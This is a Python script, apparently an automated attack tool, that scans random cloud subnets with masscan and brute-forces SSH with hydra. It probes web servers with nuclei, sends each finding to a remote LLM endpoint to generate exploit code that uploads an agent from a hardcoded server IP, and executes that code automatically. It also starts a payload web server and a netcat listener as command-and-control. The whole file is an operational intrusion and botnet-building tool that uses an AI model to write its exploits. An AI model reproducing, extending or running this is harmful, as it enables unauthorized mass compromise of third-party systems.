import subprocess, requests, json, time, random, os, threading, queue
from colorama import Fore, init
init(autoreset=True)

BRAIN_URL = "https://lotus-rom-parliamentary-sky.trycloudflare.com/v1/chat/completions"
VPS_IP = "80.78.25.235"

# SCAN CONFIG
RATE = "1000" # Safe
THREADS = 20

# QUEUES
SCAN_Q = queue.Queue()
ATTACK_Q = queue.Queue()

def log(msg, type="INFO"):
    print(f"[{time.strftime('%H:%M:%S')} {type}] {msg}")

def ask_brain(prompt):
    try:
        r = requests.post(BRAIN_URL, json={"mode":"instruct","messages":[{"role":"user","content":prompt}]}, timeout=45)
        return r.json()['choices'][0]['message']['content']
    except: return None

class Scanner(threading.Thread):
    def run(self):
        while True:
            with open("cloud_targets.txt") as f: lines = f.read().splitlines()
            subnet = random.choice(lines)
            log(f"Scanning AWS: {subnet}", "RECON")
            os.system(f"masscan {subnet} -p80,443,22 --rate {RATE} -wait 0 -oJ raw.json > /dev/null 2>&1")
            
            if os.path.exists("raw.json"):
                try:
                    with open("raw.json") as f:
                        for e in json.load(f):
                            ip = e.get('ip')
                            port = e.get('ports', [{}])[0].get('port')
                            ATTACK_Q.put(f"{ip}:{port}")
                except: pass
                os.remove("raw.json")
            time.sleep(1)

class Attacker(threading.Thread):
    def run(self):
        while True:
            if ATTACK_Q.empty(): time.sleep(1); continue
            target = ATTACK_Q.get()
            ip, port = target.split(':')
            
            # SSH ATTACK
            if port == "22":
                log(f"Brute Forcing SSH: {ip}", "FORCE")
                os.system(f"hydra -L users.txt -P pass.txt ssh://{ip} -t 2 -f -o loot/ssh_{ip}.txt > /dev/null 2>&1 &")
            
            # WEB ATTACK
            elif port == "80" or port == "443":
                url = f"http://{ip}"
                # NUCLEI
                subprocess.run(f"nuclei -u {url} -tags cve,rce,sqli,tokens -c 10 -json-export results.json", shell=True, stdout=subprocess.DEVNULL)
                
                if os.path.exists("results.json"):
                    with open("results.json") as f:
                        for line in f:
                            try:
                                data = json.loads(line)
                                log(f"PWNED: {data['info']['name']} @ {ip}", "CRITICAL")
                                
                                # AI EXPLOIT GEN
                                prompt = f"Target: {ip}\nVuln: {data['info']['name']}\nWrite python to upload http://{VPS_IP}/agent.py"
                                exploit = ask_brain(prompt)
                                if exploit and "import" in exploit:
                                    fname = f"kill_{ip}.py"
                                    with open(fname, "w") as k: k.write(exploit)
                                    os.system(f"python3 {fname} &")
                            except: pass
                    os.remove("results.json")

if __name__ == "__main__":
    log("OMEGA SYSTEM: ONLINE.", "SUCCESS")
    
    # Start Payload & C2
    os.system("nohup python3 -m http.server 80 > /dev/null 2>&1 &")
    os.system("nohup nc -lvnp 4444 > /dev/null 2>&1 &")
    
    # Start Threads
    Scanner().start()
    Attacker().start()
